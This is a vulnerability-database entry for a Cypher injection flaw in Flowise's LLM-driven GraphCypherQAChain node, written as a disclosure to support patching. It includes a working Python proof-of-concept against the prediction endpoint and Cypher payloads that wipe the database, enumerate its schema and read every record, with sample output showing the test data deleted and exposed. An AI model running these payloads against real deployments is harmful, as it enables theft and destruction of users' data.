Vulnerability Database

353,823

Total vulnerabilities in the database

Flowise: Cypher Injection in GraphCypherQAChain — flowise

Improper Neutralization of Special Elements in Data Query Logic

Summary

The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.

Vulnerability Details

| Field | Value | |-------|-------| | Affected File | packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts | | Affected Lines | 193-219 (run method) |

Prerequisites

To exploit this vulnerability, the following conditions must be met:

  1. Neo4j Database: A Neo4j instance must be connected to the Flowise server
  2. Vulnerable Chatflow Configuration:
    • A chatflow containing the Graph Cypher QA Chain node
    • Connected to a Chat Model (e.g., ChatOpenAI)
    • Connected to a Neo4j Graph node with valid credentials
  3. API Access: Access to the chatflow's prediction endpoint (/api/v1/prediction/{flowId})

<img width="1627" height="1202" alt="vulnerability-diagram-prerequisites" src="https://github.com/user-attachments/assets/8069e7df-799c-40cc-908a-ab7587b621d0" />

Root Cause

In GraphCypherQAChain.ts, the run method passes user input directly to the chain without sanitization:

async run(nodeData: INodeData, input: string, options: ICommonObject): Promise&lt;string | object&gt; { const chain = nodeData.instance as GraphCypherQAChain // ... const obj = { query: input // User input passed directly } // ... response = await chain.invoke(obj, { callbacks }) // Executed without escaping }

Impact

An attacker with access to a vulnerable chatflow can:

  1. Data Exfiltration: Read all data from the Neo4j database including sensitive fields
  2. Data Modification: Create, update, or delete nodes and relationships
  3. Data Destruction: Execute DETACH DELETE to wipe entire database
  4. Schema Discovery: Enumerate database structure, labels, and properties

Proof of Concept

poc.py

#!/usr/bin/env python3 &quot;&quot;&quot; POC: Cypher injection in GraphCypherQAChain (CWE-943) Usage: python poc.py --target http://localhost:3000 --flow-id &lt;FLOW_ID&gt; --token &lt;API_KEY&gt; &quot;&quot;&quot; import argparse import json import urllib.request import urllib.error def post_json(url, data, headers): req = urllib.request.Request( url, data=json.dumps(data).encode(&quot;utf-8&quot;), headers={**headers, &quot;Content-Type&quot;: &quot;application/json&quot;}, method=&quot;POST&quot;, ) with urllib.request.urlopen(req, timeout=15) as resp: return resp.status, resp.read().decode(&quot;utf-8&quot;, errors=&quot;replace&quot;) def main(): ap = argparse.ArgumentParser() ap.add_argument(&quot;--target&quot;, required=True, help=&quot;Base URL, e.g. http://host:3000&quot;) ap.add_argument(&quot;--flow-id&quot;, required=True, help=&quot;Chatflow ID with GraphCypherQAChain&quot;) ap.add_argument(&quot;--token&quot;, help=&quot;Bearer token / API key if required&quot;) ap.add_argument( &quot;--injection&quot;, default=&quot;MATCH (n) RETURN n&quot;, help=&quot;Cypher payload to inject&quot;, ) args = ap.parse_args() payload = { &quot;question&quot;: args.injection, &quot;overrideConfig&quot;: {}, } headers = {} if args.token: headers[&quot;Authorization&quot;] = f&quot;Bearer {args.token}&quot; url = args.target.rstrip(&quot;/&quot;) + f&quot;/api/v1/prediction/{args.flow_id}&quot; try: status, body = post_json(url, payload, headers) print(body if body else f&quot;(empty response, HTTP {status})&quot;) except urllib.error.HTTPError as e: print(e.read().decode(&quot;utf-8&quot;, errors=&quot;replace&quot;)) except Exception as e: print(f&quot;Error: {e}&quot;) if __name__ == &quot;__main__&quot;: main()

Test Environment Setup

1. Start Neo4j with Docker:

docker run -d \ --name neo4j-test \ -p 7474:7474 \ -p 7687:7687 \ -e NEO4J_AUTH=neo4j/testpassword123 \ neo4j:latest

2. Create test data (in Neo4j Browser at http://localhost:7474):

CREATE (a:Person {name: &#039;Alice&#039;, secret: &#039;SSN-123-45-6789&#039;}) CREATE (b:Person {name: &#039;Bob&#039;, secret: &#039;SSN-987-65-4321&#039;}) CREATE (a)-[:KNOWS]-&gt;(b)

3. Configure Flowise chatflow (see screenshot)

Exploitation Steps

# Data destruction (DANGEROUS) python poc.py --target http://127.0.0.1:3000 \ --flow-id &lt;FLOW_ID&gt; --token &lt;API_KEY&gt; \ --injection &quot;MATCH (n) DETACH DELETE n&quot;

Evidence

Cypher injection reaching Neo4j directly:

$ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ... {&quot;text&quot;:&quot;Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\n\&quot;RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\&quot;\n ^&quot;,...}

The error message comes from Neo4j, proving the injected Cypher is executed directly.

Data destruction confirmed:

$ python poc.py ... --injection &quot;MATCH (n) DETACH DELETE n&quot; {&quot;json&quot;:[],...}

Empty result indicates all nodes were deleted.

Sensitive data exfiltration:

$ python poc.py ... --injection &quot;MATCH (n) RETURN n&quot; {&quot;json&quot;:[{&quot;n&quot;:{&quot;name&quot;:&quot;Alice&quot;,&quot;secret&quot;:&quot;SSN-123-45-6789&quot;}},{&quot;n&quot;:{&quot;name&quot;:&quot;Bob&quot;,&quot;secret&quot;:&quot;SSN-987-65-4321&quot;}}],...}
  • Published: Apr 16, 2026
  • Updated: Apr 17, 2026
  • GHSA: GHSA-28g4-38q8-3cwc
  • Severity: High
  • Exploit:
  • CISA KEV:

No technical information available.

CWEs:

OWASP TOP 10:

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.